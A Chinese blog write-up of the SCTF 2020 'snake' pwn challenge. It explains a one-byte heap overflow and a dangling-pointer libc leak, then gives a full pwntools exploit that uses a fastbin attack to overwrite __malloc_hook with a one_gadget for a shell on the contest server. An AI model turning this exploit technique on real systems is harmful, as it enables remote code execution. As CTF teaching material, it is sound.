2020SCTF——PWN snake_u7ch1的博客-程序员秘密

技术标签: ctf相关  

0x00 背景

今年SCTF上的一道PWN题,难度还行,关键是要大概读懂程序,找到可利用的漏洞。由于比赛环境使用的是libc2.23,我为了复现也搞了一个ubuntu16.04的虚拟机(也是libc2.23)。这样搞fastbin利用比较方便。最后在libc的小版本上还是有一点出入,不过,问题不大。

0x01 源码分析

整个main函数的大致逻辑如下,一个42*62的二维数组保存整个游戏区域。依据输入的方向键改变蛇移动的方向。碰到边界后游戏结束。打印分数,并可以留言。然后就进入了喜闻乐见的菜单界面。

while ( 1 )
  {
    
    v10 = 0;
    v13 = 60;//起始y坐标
    v14 = 4;//起始x坐标
    v11 = 0;//y方向的速度
    v12 = 1;//x方向的速度
    dword_603120 = 0;
    memset(ptr_togame_area, 0, 0xA2CuLL);
    sub_4012D7((__int64)ptr_togame_area);
    while ( 1 )                                 // in_the_game
    {
    
      sub_40142A(&v13, &v14, &v11, &v12);
      sub_400EBA((__int64)&v16, dword_603120 + 1, &v13, &v14, (__int64)ptr_togame_area);
      printf("player name: %s \t  score: %d\n", buf, (unsigned int)dword_603120);
      v15 = sub_401560(v13, v14, (__int64)ptr_togame_area, &v11, &v12);
      if ( v15 )
        break;
      v7 = ptr_togame_area;
      if ( v7[(signed int)sub_400E87(v13 + v11, v12 + v14)] == 97 )
      {
    
        ++dword_603120;
        sub_4010E0();
      }
      else
      {
    
        sub_401375();
        usleep(0x11170u);
        sub_400EA4();
      }
    }
    v15 = 0;
    printf("your score is %d:\n", (unsigned int)dword_603120);
    puts("please leave words:");
    fflush(stdin);
    v3 = (char *)ptr_togame_area;
    v4 = sub_400E87(v13, v14);
    read(0, &v3[v4], 77uLL);
    v5 = (const char *)ptr_togame_area;
    v6 = sub_400E87(v13, v14);
    puts(&v5[v6]);
    fflush(stdin);
    puts("if you want to exit?");
    v9 = getchar();
    fflush(stdin);
    if ( v9 == 'y' || v9 == 'Y' )
      break;
    while ( v10 != 4 )
    {
    
      puts("what do you want to do?");
      puts("1.add name");
      puts("2.delete name");
      puts("3.get name");
      puts("4.start name");
      scanf("%d", &v10);
      if ( v10 == 2 )
      {
    
        del();
      }
      else if ( v10 > 2 )
      {
    
        if ( v10 == 3 )
          get_name();
      }
      else if ( v10 == 1 )
      {
    
        add_name();
      }
    }
  }

分析一通后,发现留言长度是77,并且留言存放的地址是我们蛇死亡的位置向后。而我们如果让蛇死在右下角,坐标为(40,60),换算成一维坐标是2540,而游戏区域的chunk大小为(0xA2C//0x10+1)*0x10 = 2608,对应着坐标为0~2607。所以之后还有2607-2540+1 = 68个字节,再加上下一个堆块的prev_size域,我们还需要覆盖8个字节,所以77个字节可以让我们正好覆盖到下一个堆块的size域,用来伪造fake chunk0。
之后我们还可以发现游戏中用来打印玩家名字的语句printf("player name: %s \t score: %d\n", buf, (unsigned int)dword_603120);有逻辑漏洞,这里使用的是buf指针,而这个指针在del函数里没有置0,(del函数仅仅将ptr指针数组的相应元素置0了,忽略了buf也指向该被free的区域)
结合上面两点,就能进行libc的泄露和堆块利用了。

0x02 unsortedbin 泄露libc

利用一字节的溢出构造大小为0xc1的fake chunk,free后放入unsortedbin。
通过逻辑漏洞可以在下一次的游戏中泄露出main_arena-88,通过本地调试得到偏移,进而获得libc基址。
相关代码如下

sh.sendlineafter('how long?\n','72')
sh.sendlineafter('name\n','abc')

for i in range(0,36):	#一直往下走,让蛇死在右下角
	sh.send('\n')
payload = 'a'*76+'\xc1'
sh.sendafter('please leave words:\n',payload)
sh.sendafter('exit?\n','\n')



create(1,0x68,'a')
create(2,0x68,'a')
create(3,0x68,'a')
set(0)
dele(0)
restart()

sh.recvuntil('player name: ')
leak = u64(sh.recv(6).ljust(8,"\x00"))
success(hex(leak))
libc_addr=leak-(0x7f5755753b78-0x7f575538f000)
#这里前一个是本地调试泄露的数据,后一个是在pwndbg中使用libs命令获得的本次程序的libc基址
success(hex(libc_addr))

0x03 fastbins attack

这里的利用思路大概有两种(也是看了各位大佬的wp总结的)。一个是打malloc_hook,一个是打free_fook。由于malloc的参数是一个size_t,我们不好直接构造system(’/bin/sh\x00‘),通常需要借助one gadget。而free得参数是一个指针,我们free一个堆块内容为’/bin/sh\x00’的堆块,很自然的,调用free_hook也就是system的时候就会调用system(’/bin/sh\x00’)。不过这题,我在本地调了半天,打free_hook总会出现奇怪的问题,只有思路完全照着大佬的wp才能成功,但搞不清楚其中几个操作为什么是必要的。所以这里还是就malloc_hook来进行介绍。
根据之前构造的fake chunk0,我们可以操控free后的chunk1(fastbins)。
将chunk1的fd改为malloc_hook-0x23(该地址可以通过chunk size检查)
然后再创建两次chunk size大小为0x70的堆块,就能分配到malloc_hook-0x23处的内存,进而可以修改malloc_hook为one gadget的地址。
(这里多个one gadget需要多试几次)
之后再手动创建一个堆块,调用malloc_hook就可以get_shell了。

0x04 整体exp

#coding:utf8
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h'] #pwndbg适配该终端,加上这句话,我们就可以在一个终端进行分屏调试,分屏的切换一类的操作还需要查看一下tmux如何使用

ip = '39.107.244.116'
port =  9999
process_name = './snake'
if args.G:           #还没搞清楚是什么原理,但是用法就是在参数列表中加个G就可以进入本地调试的分支
    sh = process(process_name)
    addr='0x401797'
    gdb.attach(sh, "b *" + addr)
elif args.NG:           #本地非调试分支
    sh = process(process_name)

else:
    sh = remote(ip,port)


def create(idx,length,name):
	sh.sendlineafter('4.start name\n','1')
	sh.sendlineafter('index?\n',str(idx))
	sh.sendlineafter('how long?\n',str(length))
	sh.sendlineafter('name?\n',name)

def set(idx):
	sh.sendlineafter('4.start name\n','3')
	sh.sendlineafter('index?\n',str(idx))

def dele(idx):
	sh.sendlineafter('4.start name\n','2')
	sh.sendlineafter('index?\n',str(idx))

def restart():
	sh.sendlineafter('4.start name\n','4')


sh.sendlineafter('how long?\n','72')
sh.sendlineafter('name\n','abc')

for i in range(0,36): #让蛇一直往下运动,在右下角死亡
	sh.send('\n')
payload = 'a'*76+'\xc1' #覆盖chunk0的size域
sh.sendafter('please leave words:\n',payload)
sh.sendafter('exit?\n','\n')



create(1,0x68,'a')
create(2,0x68,'a')
create(3,0x68,'a')
set(0)
dele(0)
restart()

sh.recvuntil('player name: ')
leak = u64(sh.recv(6).ljust(8,"\x00"))
success(hex(leak))
libc_addr=leak-(0x7f5755753b78-0x7f575538f000)
success(hex(libc_addr))
pause()
sh.send('d')
sh.sendlineafter('please leave words:\n','abcd')
sh.sendlineafter('exit?\n','n')

dele(1)

malloc_hook = 0x3C4B10+libc_addr
payload = 9*p64(1)+p64(0x71)+p64(malloc_hook-0x23)
create(0,0x6f,payload) #覆盖chunk1的fd域,使得大小为0x70得fastbins可以指向malloc_hook前的某处 chunk1->malloc_hook-0x23->0
create(1,0x68,"a")    #申请掉chunk1
create(4,0x68,"\x00"*0x13+p64(0x0f1147+libc_addr)) #再申请大小为0x70的堆块就会申请到我们的目标地址处,将malloc_hook处覆盖为onegadget的地址值  

sh.sendlineafter('4.start name\n','1')
sh.sendlineafter('index?\n','5')
sh.sendlineafter('how long?\n','20')

sh.interactive()
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/baidu_36110484/article/details/107353813

智能推荐

在代码中控制UI界面(Android Studio)_studio做控制界面_M_Lydia的博客-程序员秘密

import androidx.appcompat.app.AppCompatActivity;import android.os.Bundle;import android.view.Gravity;import android.view.View;import android.view.ViewGroup;import android.widget.Button;import android.widget.LinearLayout;import android.widget.TextVi

Thymeleaf:旨在替换JSP支持XML文件的模板引擎_wenlin_xie的博客-程序员秘密

Thymeleaf是一个Java模板引擎开发库,可以处理和生成HTML、XML、JavaScript、CSS和文本,在Web和非Web环境下都可以正常工作。它更适合处理Web应用程序中的视图层(View Layer),但是也支持在离线环境处理各种格式的文件。Thymeleaf遵循Apache 2.0许可发布。此外,Thymeleaf还提供了一个可选模块Spring MVC集成,可以用来替换应用中的...

Lighttpd1.4.20源码分析 笔记 fdevent系统-初始化_jiange_zh的博客-程序员秘密

C程序在进行真正的编译之前都要进行预编译。我们看看fdevent系统中的一些宏:#if defined(HAVE_EPOLL_CTL) && defined(HAVE_SYS_EPOLL_H)# if defined HAVE_STDINT_H# include <stdint.h># endif# define USE_LINUX_EPOLL# include <sys/epoll.h

使用java转换腾讯地图,百度地图坐标问题。_qq_40234821的博客-程序员秘密

java转换手机腾讯地图和百度地图坐标最近项目中有这样一个需求,需要将安卓手机app腾讯地图,百度地图备份后,把tar压缩文件复制到pc端解压,使用java连接sqlite数据库,取出腾讯地图和百度地图上的坐标数据。需要将坐标转换为百度坐标,类似这样的经度和纬度(116.383859,39.940387),才能供前端愉快的使用。然而在我国,使用的坐标系不能为地球坐标(WGS84...

Element/iview UI组件不支持keyup键盘事件问题解决办法.native_木头没有瓜的博客-程序员秘密

在使用Element UI或iview UI组件时,会遇到直接写keydown.enter这样的键盘事件会出现无效的情况,这里需要加上native。直接写成下面这样enter事件将无效  1 2 3 &amp;lt;Input type=&quot;password&quot; v-model=&quot;password&quot; placeholder=&quot;password&quot; @keyup...

随便推点

RHCA 8环境说明_少年的小俊的博客-程序员秘密

实验室环境rht-vmctl poweroff allrht-vmctl poweroff classroomrht-setcourse DO447rht-vmctl fullreset classroom -yrht-vmctl fullreset bastion -yrht-vmctl fullreset utility -yrht-vmctl fullreset workstation -yrht-vmctl fullreset servera -yrht-vmctl fullre

线性代数学习笔记1_ls317842927的博客-程序员秘密

本人机器学习小白一枚,目前认识到数学对于理解算法和应用算法到特定的数据集上太重要了。很喜欢MIT的线性代数课程,以MIT课程的内容为主,做一些学习总结。旨在于总结自己学过的知识、受到的启发、加强自己的逻辑性和对内容的理解。非常感谢网络上大牛们的MIT线性代数导论笔记,文末是链接。1、线性方程 包含未知数x1,x2,...,xnx_{1},x_{2},...,x_{n}的一个线性方程是形如a1x1+

关于错误“未声明的标识符”_“m_menu”: 未声明的标识符_CrazyHoney6666的博客-程序员秘密

在VS2012下进行VC++调试时,出现这样一种错误:error C2065:未声明的标识符,当时感觉十分怪异,为什么说怪异呢?因为如果在.cpp中未引入相关.h文件出现这样的错误很正常,但是现在是已经引入了相关的头文件,却还是出现了诸如error C2065、error C2087、error C2133...的错误。    情况是这样的,新建了一个工程项目,想使用其他工程中定义的同一组

BSD File Formats Manual__勇的博客-程序员秘密

MAGIC(5) BSD File Formats Manual MAGIC(5)NAME magic — file command's magic pattern fileDESCRIPTION This manual page documents the f...

计算机网络学习笔记第五章(运输层)超详细整理_林小鹿@的博客-程序员秘密

这里写目录标题一级目录二级目录三级目录5.1、运输层概述1、概念2、总结5.2、运输层端口号、复用与分用的概念1、为什么用端口号2、发送方的复用和接收方的分用3、TCP/IP体系的应用层常用协议所使用的运输层熟知端口号4、运输层传输流程5.3、UDP和TCP的对比1、概念2、用户数据报协议UDP(User Datagram Protocol)3、传输控制协议TCP(Transmission Control Protocol)4、总结5.4、TCP的流量控制1、概念2、总结5.5、TCP的拥塞控制1、概念2、

Android签名问题导致安装失败_小火你好的博客-程序员秘密

Android签名问题导致安装失败Android签名问题导致安装失败报错:INSTALL_FAILED_SHARED_USER_INCOMPATIBLEFailure [INSTALL_FAILED_TEST_ONLY]报错:INSTALL_FAILED_SHARED_USER_INCOMPATIBLE解决方案:1. 找到编译目标系统时的签名证书platf...

推荐文章

热门文章

相关标签